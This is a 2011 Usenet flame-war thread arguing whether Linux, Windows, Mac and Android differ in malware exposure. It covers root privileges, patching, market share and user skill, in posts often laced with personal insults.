>> including Web servers and scientific workstations. A virus/trojan/worm
>> author who successfully targeted specifically Apache httpd Linux/x86 Web
>> servers would both have an extremely target-rich environment&  instantly
>> earn lasting fame in the blackhat cracker community, but this just doesn't
>> happen.
>>
>> IMO compared to the very wide variety of easy ways a root-account user
>> has of damaging/destroying their system,  viruses are a very minor system
>> threat.  There is no way that automated "checking" software can ever
>> prevent a careless root user from damaging (or fully destroying) the system.
>> The far bigger,&  real problem, is that of sysadmins being willing to carry
>> out dangerous actions while logged in as the root user.
>> By and large, you can suffer system (root) compromise from malware only by
>> being *mind-bogglingly dumb*.
>>
> Ever heard of Android?
>
>

They will bury their heads in the sand about Android Linux. :)

0
bigonezzzz (216)
9/2/2011 3:46:21 PM
Big Steel stated in post 1rqdnQ74aazQZ_3TnZ2dnUVZ_hOdnZ2d@earthlink.com on
9/2/11 8:46 AM:

>>> IMO compared to the very wide variety of easy ways a root-account user
>>> has of damaging/destroying their system,  viruses are a very minor system
>>> threat.  There is no way that automated "checking" software can ever
>>> prevent a careless root user from damaging (or fully destroying) the system.
>>> The far bigger,&  real problem, is that of sysadmins being willing to carry
>>> out dangerous actions while logged in as the root user.
>>> By and large, you can suffer system (root) compromise from malware only by
>>> being *mind-bogglingly dumb*.
>>> 
>> Ever heard of Android?
>> 
>> 
> 
> They will bury their heads in the sand about Android Linux. :)

Oh... wait... now malware is the fault of the user.  Yeah, that is it.

LOL!


-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 3:49:21 PM
William Poaster <wp@induh-vidual.net> writes:

> FUD, IMO.
> According to security experts like Scott Granneman, there hasn't been
> a widespread Linux malware threat of the type that M$ Windows
> software faces, because of the malware's lack of root access & fast
> updates to most Linux vulnerabilities.

And the fact that less than 1% of the home users user it.
Duh!

> IMO compared to the very wide variety of easy ways a root-account user
> has of damaging/destroying their system,  viruses are a very minor system
> threat.  There is no way that automated "checking" software can ever
> prevent a careless root user from damaging (or fully destroying) the system.
> The far bigger, & real problem, is that of sysadmins being willing to carry
> out dangerous actions while logged in as the root user.
> By and large, you can suffer system (root) compromise from malware only by
> being *mind-bogglingly dumb*.

But the problem is that you're a dickhead Dumb Willy. Have you not been
listening to the Android world? Head too far up Schestowitz's arse I
suspect - all you can hear there is Creepy Chris Ahlsrom giggling and
talking about "pooh pooh" and "pee pees".

No one cares that IF you do things perfectly then things are safe. Most
malware ONLY needs to be installed with USER permissions you clueless
cretin. Why is this so bloody hard for you to understand??????

Its as if your Mom forgot to unwrap the bit of your brain that actually
thinks.
0
hadronquark (21814)
9/2/2011 4:03:25 PM
Hadron stated in post ldmxen53ua.fsf@news.eternal-september.org on 9/2/11
9:03 AM:

> William Poaster <wp@induh-vidual.net> writes:
> 
>> FUD, IMO.
>> According to security experts like Scott Granneman, there hasn't been
>> a widespread Linux malware threat of the type that M$ Windows
>> software faces, because of the malware's lack of root access & fast
>> updates to most Linux vulnerabilities.
> 
> And the fact that less than 1% of the home users user it.
> Duh!
> 
>> IMO compared to the very wide variety of easy ways a root-account user
>> has of damaging/destroying their system,  viruses are a very minor system
>> threat.  There is no way that automated "checking" software can ever
>> prevent a careless root user from damaging (or fully destroying) the system.
>> The far bigger, & real problem, is that of sysadmins being willing to carry
>> out dangerous actions while logged in as the root user.
>> By and large, you can suffer system (root) compromise from malware only by
>> being *mind-bogglingly dumb*.
> 
> But the problem is that you're a dickhead Dumb Willy. Have you not been
> listening to the Android world? Head too far up Schestowitz's arse I
> suspect - all you can hear there is Creepy Chris Ahlsrom giggling and
> talking about "pooh pooh" and "pee pees".
> 
> No one cares that IF you do things perfectly then things are safe. Most
> malware ONLY needs to be installed with USER permissions you clueless
> cretin. Why is this so bloody hard for you to understand??????
> 
> Its as if your Mom forgot to unwrap the bit of your brain that actually
> thinks.

Herd party line:

    When Windows gets malware, it is proof it is a swiss cheese OS.
    When Android gets malware, it is the fault of the user.

How many times will the herd repeat this?  And why won't the "trolls" just
believe them?  

Amazing.



-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 4:04:27 PM
On 9/2/2011 12:03 PM, Hadron wrote:
> William Poaster<wp@induh-vidual.net>  writes:
>
>> FUD, IMO.
>> According to security experts like Scott Granneman, there hasn't been
>> a widespread Linux malware threat of the type that M$ Windows
>> software faces, because of the malware's lack of root access&  fast
>> updates to most Linux vulnerabilities.
>
> And the fact that less than 1% of the home users user it.
> Duh!
>
>> IMO compared to the very wide variety of easy ways a root-account user
>> has of damaging/destroying their system,  viruses are a very minor system
>> threat.  There is no way that automated "checking" software can ever
>> prevent a careless root user from damaging (or fully destroying) the system.
>> The far bigger,&  real problem, is that of sysadmins being willing to carry
>> out dangerous actions while logged in as the root user.
>> By and large, you can suffer system (root) compromise from malware only by
>> being *mind-bogglingly dumb*.
>
> But the problem is that you're a dickhead Dumb Willy. Have you not been
> listening to the Android world? Head too far up Schestowitz's arse I
> suspect - all you can hear there is Creepy Chris Ahlsrom giggling and
> talking about "pooh pooh" and "pee pees".
>
> No one cares that IF you do things perfectly then things are safe. Most
> malware ONLY needs to be installed with USER permissions you clueless
> cretin. Why is this so bloody hard for you to understand??????
>
> Its as if your Mom forgot to unwrap the bit of your brain that actually
> thinks.

You might as well be posting to a brick wall.
0
bigonezzzz (216)
9/2/2011 4:46:40 PM
Big Steel wrote:
> On 9/2/2011 11:42 AM, Snit wrote:
>> William Poaster stated in post 6p87j8-2v4.ln1@linuxnetwork.alpha.org
>> on 9/2/11 8:19 AM:
>>
>>> Peter K�hlmann wrote:
>>>
>>>> FromTheRafters wrote:
>>>>
>>>>> Bj�rn Steensrud wrote:
>>>>>> FromTheRafters wrote:
>>>>>>
>>>>>>> JeffM wrote:
>>>>>>>> FromTheRafters wrote:
>>>>>>>>> So, you asked for '...or even one that the ESET "Linux
>>>>>>>>> anti-virus" looks for' and I provided you with many.
>>>>>>>
>>>>>>> [snipped more attempts to change the parameters]
>>>>>>
>>>>>> Okay, so there were a few examples of malware that might
>>>>>> conceivably attack Linux. Funny how none of them were reported
>>>>>> by other sites than ESET?
>>>>>
>>>>> They are, all one has to do is look. Often, each company will use
>>>>> a different malware name for the same entity.
>>>>>
>>>>> I just went to the sites of five other vendors and they all list
>>>>> some (albeit very few) Linux malware programs (including
>>>>> viruses). I've got a screen cap of the Trend-Micro site's page,
>>>>> but I'm pretty sure that no matter how much proof I post it will
>>>>> always fall short of acceptance. http://i53.tinypic.com/334ja09.jpg
>>>>
>>>> Computers infected since december 4, 2000 : Total worldwide: 14
>>>>
>>>> Are you fore real?
>>>> *That* is /proof/ in your eyes?
>>>>
>>>> And do you have *any* idea at all what "elf_Snoopy" did, and how
>>>> it infected computers?
>>>>
>>>> I'll give you a hint: The infected file to to be *copied* to the
>>>> system to "infect" it. It could only "infect" executeable files
>>>> owned by the user. Which count on a normal linux system to a total
>>>> of about zero
>>>
>>> Didn't see the OP's post, but it appears s/h/it has no idea wtf
>>> s/h/it's talking about.
>>>
>>>> So, you are either dumber than Hadron Larry (if that is possible
>>>> at all) or you are willfully posting lies and bullshit
>>>
>>> FUD, IMO.
>>> According to security experts like Scott Granneman, there hasn't
>>> been a widespread Linux malware threat of the type that M$ Windows
>>> software faces, because of the malware's lack of root access&  fast
>>> updates to most Linux vulnerabilities.
>>>
>>> As most of the Internet runs on Linux servers (more than 60%
>>> according to Ballmer) you'd have thought that the blackhat crackers
>>> would have hammered them by now, but why is it that it's the
>>> *minority* of M$ Windows servers which are attacked. Could it
>>> *just* be that they are far easier to knock over? Something which
>>> obviously hasn't occured to the OP. The wintrolls Argue that ""the 
>>> growth in Linux malware is due to its
>>> increasing
>>> popularity, particularly as a desktop operating system" but this
>>> argument simply ignores Linux's dominance in a number of
>>> non-desktop specialties, including Web servers and scientific
>>> workstations. A virus/trojan/worm author who successfully targeted
>>> specifically Apache httpd Linux/x86 Web servers would both have an
>>> extremely target-rich environment&  instantly earn lasting fame in
>>> the blackhat cracker community, but this just doesn't happen.
>>>
>>> IMO compared to the very wide variety of easy ways a root-account
>>> user has of damaging/destroying their system,  viruses are a very minor
>>> system threat.  There is no way that automated "checking" software
>>> can ever prevent a careless root user from damaging (or fully
>>> destroying) the system. The far bigger,&  real problem, is that of
>>> sysadmins being willing to carry out dangerous actions while logged
>>> in as the root user. By and large, you can suffer system (root) 
>>> compromise from malware
>>> only by being *mind-bogglingly dumb*.
>>>
>> Ever heard of Android?
>>
>>
>
> They will bury their heads in the sand about Android Linux. :)

Android is kicking Apple's ass and that is why the trolls hate it. 


0
Sneaky (395)
9/2/2011 5:45:40 PM
Sneaky Weasel stated in post 4e611652$1@news.x-privat.org on 9/2/11 10:45
AM:

>>> Ever heard of Android?
>>> 
>>> 
>> 
>> They will bury their heads in the sand about Android Linux. :)
> 
> Android is kicking Apple's ass and that is why the trolls hate it.

What metric are you using?  Market share?  Number of apps?  User
satisfaction?  Money made for companies?


-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 5:50:56 PM
Bj=F8rn Steensrud wrote:
>Okay, so there were a few examples of
>malware that might conceivably attack Linux.
>
Not on the list linked to by the Windoze apologist.
EVERYTHING there is a Win32 exploit.

Properly named, the app would be called
**App That Runs Under Linux To Find Files Which Contain
Exploits Which Are ONLY a Threat When Run Under Windoze**.

I say let Windoze users waste their own cycles/watts
and "protect" their own boxes.

The OP's premise is a sham.
ESET's marketing tactics are the usual for a payware vendor.

>AV systems do not protect against stupidity.
>
Running an AV (and running an OS that requires an AV)
is in fact an indicator of the user's stupidity.

Patches to Linux (which are available from the maintainers
within HOURS of the discovery of an exploitable hole in Linux)
are a MUCH better way to deal with flaws
than is waiting for something from some third party vendor
and repeatedly wasting cycles/watts running magical apps.

Contrast the Linux way with having to wait until
the second Tuesday of next month to get a patch for Windoze
and in the meantime
having to waste resources on anti-whatever apps.

....and the Patch Tuesday thing
*assumes* that M$ **will** issue a patch for their junk
which will correct the problem.
0
jeffm_ (1319)
9/2/2011 6:09:56 PM
chrisv wrote:
> FromTheRafters wrote:
>
>> Hadron wrote:
>>>
>>> JeffM is  COLA zealot. He's a plank to put it mildly.
>>
>> Thanks for confirming my suspicions.
>
> That "Hadron" is an idiot and a liar?
>
> And that's putting it mildly.
>
Evidently, even lying idiots can be correct.
0
erratic (209)
9/2/2011 6:19:31 PM
On Fri, 02 Sep 2011, in the Usenet newsgroup comp.os.linux.setup, in article
>On Thursday 01 September 2011 22:03 in comp.os.linux.setup, Moe Trin 

>Moe Trin enlightened humanity with the following words...:

>> Aragorn wrote:

>>> [Other two groups snipped because it's RayLopez99's umpteenth attempt
>>> at trolling.]

>> Well, he managed to hook you - and you compound the error by deleting
>> those other groups.    Fix your kill file

>Unfortunately, KNode does not allow filtering on crossposted groups.

Well, then maybe you should find a more capable news tool.  Those of us
who do use one can filter c.o.l.a posts, and your snipping the groups
makes it more difficult.   DON'T REPLY TO TROLLS.   If you absolutely
must try to demonstrate your stupidity by replying to them, DON'T SNIP
the shit groups so that others can filter the garbage off.  What is so
hard about that?

[compton ~]$ grep -vE '^([%\[ ]|Score|$)' /var/spool/slrnpull/score |
 cut -d' ' -f1 | sort | uniq -c | column
   1304 From:                70 Message-ID:         612 Subject:
      3 Lines:               46 References:          88 Xref:
[compton ~]$ 

>Lopez99 himself is in my killfile, and has been for a long time already.

Yet you still respond to him (and the other nym-shifters and wankers
who shit all over Usenet) regularly.  Your other solution would be to
use a spooler like leafnode to filter and download, and you read the
cleaner result.   If all else fails, maybe you need to learn restraint,
and simply DON'T READ TROLL SHIT.

        Old guy
0
ibuprofin
9/2/2011 8:03:10 PM
David Brown <david@westcontrol.removethisbit.com> wrote in
news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net: 

> I agree that it's the admin who is responsible - but the choice of
> OS makes the job harder or easier.  With Windows, if you have a
> solid network setup with a good firewall between the nasty internet
> and the desktops, choose user software and setup carefully, and make
> sure users have decent training in security, then you are pretty
> safe.  But with Linux, I can install it on a laptop and connect it
> directly to any network I want, and let anyone use it as they want. 
> Very roughly speaking, you have to know what you are doing to keep
> Windows safe - you have to know what you are doing to make Linux
> unsafe. 

Which is kind of ironic, seeing as you sort of need to know computers 
reasonably well to install linux. Yet, a monkey can install the latest 
version of windows. [g]. When linux gets to that point, and they will, 
so as to grow the userbase, We'll see more hacked linux systems.

> Over the last 15 years or so, we've only had a few.  The most
> annoying to get out of the systems was a MS Word/Excel macro virus. 
> We had a worm that got into a few machines - the source was an
> employee who brought in their laptop to download a windows service
> pack that blocked said worm, since they only had slow dial-up at
> home.  Needless to say that employee got a keelhauling for
> connecting an outside machine to the company network.

That indicates improper security measures being used. [g]. It's no 
biggie, long time and I'm sure you've implemented stricter file sharing 
since then.

> PLC's are not junk - they are often the right tool for the job.

I didn't say the PLC was junk, just the software on them that I have to 
work with most of the time was. [g]. A PLC is a fine control system. 
Have you seen Hubbel's latest offerings?

> However, while factory automation is typically run using PLC's, the
> user interface is normally on a PC.  Mess up them, and you've messed
> up the plant.

I know.

>> Which will change. Linux has a niche market, for now. It has the
>> illusion of better security as a result.
> 
> No, Linux has better security through better design and
> implementation. (The same applies to other good *nix systems, like
> BSD, Solaris, etc.) Lower desktop market penetration is an extra
> bonus that reduces the threats even more.

And in order to attract the userbase linux seems to be aiming for, they 
will have to dumb it down some. Lax some of that inherent security. 
When they do, Linux will have the same targets at it as windows does 
today. 

Linux isn't targetted less because the malware authors think it's 
secure, far from that, it's just not viable if you want to make money. 


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 10:58:42 PM
Chris Ahlstrom <ahlstromc@xzoozy.com> wrote in
news:j3m8h5$afi$5@dont-email.me: 

> David Brown wrote this copyrighted missive and expects royalties:
> 
>> On 31/08/2011 22:26, Dustin wrote:
>>
>>> Which will change. Linux has a niche market, for now. It has the
>>> illusion of better security as a result.
>>
>> No, Linux has better security through better design and
>> implementation. (The same applies to other good *nix systems, like
>> BSD, Solaris, etc.) Lower desktop market penetration is an extra
>> bonus that reduces the threats even more.
> 
> Amazing how the 'Softies keep pushing the same boolshit throughout
> the years, isn't it?

I'm not pushing you any bullshit. I'm just giving you my opinion as 
that as a former vxer. I targetted windows systems because they were 
lots more of them. Not because I thought linux was immune. :)
 
> Linux/UNIX grew up in a networked hacker's paradise spanning the
> globe, from its roots with a telephony provider.

Yea. I don't need an education in my own past, thanks tho.
 
> Windows grew up on consumers' "personal computers", from its roots
> with "Traf-O-Data".

NT wasn't originally intended for end users.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 10:59:57 PM
Big Steel <bigonezzzz@big1zzzzz.com> wrote in
news:qP6dnb35l8cWO8PTnZ2dnUVZ_sGdnZ2d@earthlink.com: 

> Don't let this clown fool you. He's a MS programmer that couldn't
> get a damn job using Linux if his life depended upon it. He's a
> total hypocrite. 

Hardly.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 11:00:19 PM
RayLopez99 <raylopez88@gmail.com> wrote in
news:6232e3f2-df39-43ab-b2c1-9a231993a9dc@b20g2000vbz.googlegroups.com:

> Hahaha!  Good one Big Steel.  That's right, Dustin is a clown who
> has written viruses for fun inbetween his real job working as one of

I'm the ehh, clown who handed you your ass in alt.comp.virus you mean. ;p



-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 11:01:00 PM
RayLopez99 <raylopez88@gmail.com> wrote in news:c1035590-cbb8-4c5e-a9b7-
2473f87e1f88@t7g2000vbv.googlegroups.com:

> That's so true Dustin.  Linux is 'security by obscurity', with market
> share being the obscurity. At one time people suggested using Firefox
> because it had less market share than MSFT IE, and so fewer browser
> exploits, but that advantage faded as soon as they picked up market
> share.

Calling me a clown and ragging on me, then having to accept what I said 
must irritate you. eh? Ass fuck.
 
> BTW I did not know you could run a browser with elevated privileges
> (administrator rights).

You *don't* know all kinds of things, pissant.
 
> As for viruses or malware, the latest episode for me on W7 was when,
> as you suggest, I foolishly ran an executable found on an external HD
> that was a virus--no fault then of Windows.

Yep. Something I've had the skills to write for years, did write, retired 
from. Still, I'll always know more than you. :)

-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 11:02:50 PM
JEDIDIAH <jedi@nomad.mishnet> wrote in
news:slrnj5tf65.stn.jedi@nomad.mishnet: 

> On 2011-08-31, Big Steel <bigonezzzz@big1zzzzz.com> wrote:
>> On 8/31/2011 4:19 PM, Dustin wrote:
>>> Hadron<hadronquark@gmail.com>  wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>>
>>> Give it time. That dumb userbase is growing. The "friendlier"
>>> linux gets, the dumber the users you will have. This is what
>>> happened to windows, this is how linux will go too. I will laugh
>>> hysterically in the background. Not at anyone in particular, but
>>> at the computer industry as a whole.
>>>
>>>
>>>
>>
>> All you have to do is look at Android Linux being humped like a dog
>> by malware writers, because the masses are using Android.
> 
>    Android suffers from trojans in binaries distributed from dodgey
> 3rd party app stores in China. It's not quite the same thing as what
> has plagued Windows and DOS since the dawn of time.

Same concept. Social engineering, same result; same tools used even. 
Nothings changed. 
 
>    Although there is the occasional PC game or app that comes with
> conveniently infected installation disks.

LOL.


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 11:05:52 PM
JEDIDIAH <jedi@nomad.mishnet> wrote in
news:slrnj5tf3h.stn.jedi@nomad.mishnet: 

> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>> Hadron<hadronquark@gmail.com> wrote in
>> news:6tbov6vyoy.fsf@news.eternal-september.org: 
>>
>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>> the usual techniques since the "dumb" userbase is so small - that
>>> and reasonably secure interfaces to the outside world.
>>
>> Give it time. That dumb userbase is growing. The "friendlier" linux
>> gets, the dumber the users you will have. This is what happened to
>> windows, this is how linux will go too. I will laugh hysterically
>> in the background. Not at anyone in particular, but at the computer
>> industry as a whole. 
> 
>    You can't get any dumber than the Mac userbase.

Not true. I know all kinds of graphics artists who do the mac thing.
 
>    So where's all the malware?

Mac isn't a windows market. Malware authors are about the money now. When 
mac has enough people to make it worthwhile, the malware authors will 
target it. 


-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/2/2011 11:06:50 PM
Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:

> JEDIDIAH <jedi@nomad.mishnet> wrote in
> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
> 
>> On 2011-08-31, Dustin <bughunter.dustin@gmail.com> wrote:
>>> Hadron<hadronquark@gmail.com> wrote in
>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>> 
>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>> the usual techniques since the "dumb" userbase is so small - that
>>>> and reasonably secure interfaces to the outside world.
>>> 
>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>> gets, the dumber the users you will have. This is what happened to
>>> windows, this is how linux will go too. I will laugh hysterically
>>> in the background. Not at anyone in particular, but at the computer
>>> industry as a whole.
>> 
>>    You can't get any dumber than the Mac userbase.
> 
> Not true. I know all kinds of graphics artists who do the mac thing.
>  
>>    So where's all the malware?
> 
> Mac isn't a windows market. Malware authors are about the money now. When
> mac has enough people to make it worthwhile, the malware authors will
> target it. 
> 
Hmmm, Macs have about 20% market share in the use and people pay for them,
on average, about 2-3x as much.  So people in the US are spending about the
same for Macs as they are on Windows machines... which implies the owners
might have about the same amount of money to be scammed out of.  Or at least
pretty close.

The security by obscurity claim is proving to be largely false.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 11:31:22 PM
Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:

> David Brown <david@westcontrol.removethisbit.com> wrote in
> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
> 
>> I agree that it's the admin who is responsible - but the choice of
>> OS makes the job harder or easier.  With Windows, if you have a
>> solid network setup with a good firewall between the nasty internet
>> and the desktops, choose user software and setup carefully, and make
>> sure users have decent training in security, then you are pretty
>> safe.  But with Linux, I can install it on a laptop and connect it
>> directly to any network I want, and let anyone use it as they want.
>> Very roughly speaking, you have to know what you are doing to keep
>> Windows safe - you have to know what you are doing to make Linux
>> unsafe. 
> 
> Which is kind of ironic, seeing as you sort of need to know computers
> reasonably well to install linux. Yet, a monkey can install the latest
> version of windows. [g]. When linux gets to that point, and they will,
> so as to grow the userbase, We'll see more hacked linux systems.

Ubuntu and other distros are pretty easy to install.
.... 



-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 11:32:04 PM
On 9/2/2011 7:31 PM, Snit wrote:
> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>
>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>
>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>
>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>> and reasonably secure interfaces to the outside world.
>>>>
>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>> gets, the dumber the users you will have. This is what happened to
>>>> windows, this is how linux will go too. I will laugh hysterically
>>>> in the background. Not at anyone in particular, but at the computer
>>>> industry as a whole.
>>>
>>>     You can't get any dumber than the Mac userbase.
>>
>> Not true. I know all kinds of graphics artists who do the mac thing.
>>
>>>     So where's all the malware?
>>
>> Mac isn't a windows market. Malware authors are about the money now. When
>> mac has enough people to make it worthwhile, the malware authors will
>> target it.
>>
> Hmmm, Macs have about 20% market share in the use and people pay for them,
> on average, about 2-3x as much.  So people in the US are spending about the
> same for Macs as they are on Windows machines... which implies the owners
> might have about the same amount of money to be scammed out of.  Or at least
> pretty close.
>
> The security by obscurity claim is proving to be largely false.
>
>

LOL, I have to disagree here in the case of Linux at the desktop being 
used which is usually a sign that the user is broke and doesn't have any 
money. :)
0
Big
9/2/2011 11:38:52 PM
Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
9/2/11 4:38 PM:

> On 9/2/2011 7:31 PM, Snit wrote:
>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>> 
>>> JEDIDIAH<jedi@nomad.mishnet>  wrote in
>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>> 
>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>  wrote:
>>>>> Hadron<hadronquark@gmail.com>  wrote in
>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>> 
>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>> and reasonably secure interfaces to the outside world.
>>>>> 
>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>> gets, the dumber the users you will have. This is what happened to
>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>> in the background. Not at anyone in particular, but at the computer
>>>>> industry as a whole.
>>>> 
>>>>     You can't get any dumber than the Mac userbase.
>>> 
>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>> 
>>>>     So where's all the malware?
>>> 
>>> Mac isn't a windows market. Malware authors are about the money now. When
>>> mac has enough people to make it worthwhile, the malware authors will
>>> target it.
>>> 
>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>> on average, about 2-3x as much.  So people in the US are spending about the
>> same for Macs as they are on Windows machines... which implies the owners
>> might have about the same amount of money to be scammed out of.  Or at least
>> pretty close.
>> 
>> The security by obscurity claim is proving to be largely false.
> 
> LOL, I have to disagree here in the case of Linux at the desktop being
> used which is usually a sign that the user is broke and doesn't have any
> money. :)

Sure: Linux users likely have less money - given that one of the primary
reasons people use Linux is the lower initial cost.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/2/2011 11:48:51 PM
On 9/2/2011 7:48 PM, Snit wrote:
> Big Steel stated in post Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
> 9/2/11 4:38 PM:
>
>> On 9/2/2011 7:31 PM, Snit wrote:
>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11 4:06 PM:
>>>
>>>> JEDIDIAH<jedi@nomad.mishnet>   wrote in
>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>
>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com>   wrote:
>>>>>> Hadron<hadronquark@gmail.com>   wrote in
>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>
>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>
>>>>>> Give it time. That dumb userbase is growing. The "friendlier" linux
>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>> in the background. Not at anyone in particular, but at the computer
>>>>>> industry as a whole.
>>>>>
>>>>>      You can't get any dumber than the Mac userbase.
>>>>
>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>
>>>>>      So where's all the malware?
>>>>
>>>> Mac isn't a windows market. Malware authors are about the money now. When
>>>> mac has enough people to make it worthwhile, the malware authors will
>>>> target it.
>>>>
>>> Hmmm, Macs have about 20% market share in the use and people pay for them,
>>> on average, about 2-3x as much.  So people in the US are spending about the
>>> same for Macs as they are on Windows machines... which implies the owners
>>> might have about the same amount of money to be scammed out of.  Or at least
>>> pretty close.
>>>
>>> The security by obscurity claim is proving to be largely false.
>>
>> LOL, I have to disagree here in the case of Linux at the desktop being
>> used which is usually a sign that the user is broke and doesn't have any
>> money. :)
>
> Sure: Linux users likely have less money - given that one of the primary
> reasons people use Linux is the lower initial cost.
>
>

No bang for the buck with crooks and Linux at the desktop. So why bother? :)
0
Big
9/3/2011 12:07:57 AM
Snit wrote:
> Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:
>
>> David Brown<david@westcontrol.removethisbit.com>  wrote in
>> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
>>
>>> I agree that it's the admin who is responsible - but the choice of
>>> OS makes the job harder or easier.  With Windows, if you have a
>>> solid network setup with a good firewall between the nasty internet
>>> and the desktops, choose user software and setup carefully, and make
>>> sure users have decent training in security, then you are pretty
>>> safe.  But with Linux, I can install it on a laptop and connect it
>>> directly to any network I want, and let anyone use it as they want.
>>> Very roughly speaking, you have to know what you are doing to keep
>>> Windows safe - you have to know what you are doing to make Linux
>>> unsafe.
>>
>> Which is kind of ironic, seeing as you sort of need to know computers
>> reasonably well to install linux. Yet, a monkey can install the latest
>> version of windows. [g]. When linux gets to that point, and they will,
>> so as to grow the userbase, We'll see more hacked linux systems.
>
> Ubuntu and other distros are pretty easy to install.

  I agree, and package managers make adding software a snap too. It's so 
easy a Windows user could do it.

That's kind of the point.

Linux is very configurable and not shy about it. Even installation could 
seem difficult if you opted not to just accept defaults. On the other 
end of the spectrum was an OS such as Windows whose aim was to configure 
everything, sit there spinning for an hour, no questions asked, and then 
ask you if you want to e-mail grandma. Linux is very close to doing the 
same sort of thing now. You end up with administrators that don't even 
know that they are administrators - if your lucky, they're not running 
as root.
0
erratic (209)
9/3/2011 12:39:32 AM
FromTheRafters stated in post j3rt06$855$1@dont-email.me on 9/2/11 5:39 PM:

> Snit wrote:
>> Dustin stated in post Xns9F54C21455E8DHHI2948AJD832@no on 9/2/11 3:58 PM:
>> 
>>> David Brown<david@westcontrol.removethisbit.com>  wrote in
>>> news:XcidnQKrV5efPsPTnZ2dnUVZ7tqdnZ2d@lyse.net:
>>> 
>>>> I agree that it's the admin who is responsible - but the choice of
>>>> OS makes the job harder or easier.  With Windows, if you have a
>>>> solid network setup with a good firewall between the nasty internet
>>>> and the desktops, choose user software and setup carefully, and make
>>>> sure users have decent training in security, then you are pretty
>>>> safe.  But with Linux, I can install it on a laptop and connect it
>>>> directly to any network I want, and let anyone use it as they want.
>>>> Very roughly speaking, you have to know what you are doing to keep
>>>> Windows safe - you have to know what you are doing to make Linux
>>>> unsafe.
>>> 
>>> Which is kind of ironic, seeing as you sort of need to know computers
>>> reasonably well to install linux. Yet, a monkey can install the latest
>>> version of windows. [g]. When linux gets to that point, and they will,
>>> so as to grow the userbase, We'll see more hacked linux systems.
>> 
>> Ubuntu and other distros are pretty easy to install.
> 
>   I agree, and package managers make adding software a snap too. It's so
> easy a Windows user could do it.
> 
> That's kind of the point.
> 
> Linux is very configurable and not shy about it. Even installation could
> seem difficult if you opted not to just accept defaults. On the other
> end of the spectrum was an OS such as Windows whose aim was to configure
> everything, sit there spinning for an hour, no questions asked, and then
> ask you if you want to e-mail grandma. Linux is very close to doing the
> same sort of thing now. You end up with administrators that don't even
> know that they are administrators - if your lucky, they're not running
> as root.

Well, with most distros you are not running as root by default.

When Ubuntu 11.10 comes out maybe I will make a video of how to install
it... might help some who feel scared of doing so see how easy it is.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/3/2011 12:42:45 AM
Snit wrote:
